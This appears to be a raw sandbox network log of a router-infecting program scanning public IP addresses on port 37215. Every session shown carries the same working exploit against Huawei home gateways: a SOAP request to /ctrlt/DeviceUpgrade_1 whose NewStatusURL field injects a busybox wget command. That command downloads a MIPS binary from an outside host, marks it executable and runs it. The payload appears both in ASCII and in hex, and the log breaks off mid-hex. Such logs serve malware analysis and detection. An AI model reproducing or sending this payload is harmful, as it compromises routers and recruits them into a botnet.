Jun 1, 2024 18:15:54.253082991 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	51976	41.137.161.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253117085 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	41296	197.189.238.220	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253169060 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	58966	156.212.207.12	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253278017 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	56290	197.25.244.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253312111 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	52420	41.169.149.73	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253357887 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	58048	197.126.155.107	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253379107 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	39642	41.89.44.248	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253438950 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	45918	197.35.183.52	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253465891 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	34684	197.65.247.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253499031 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	43954	156.91.55.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253534079 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 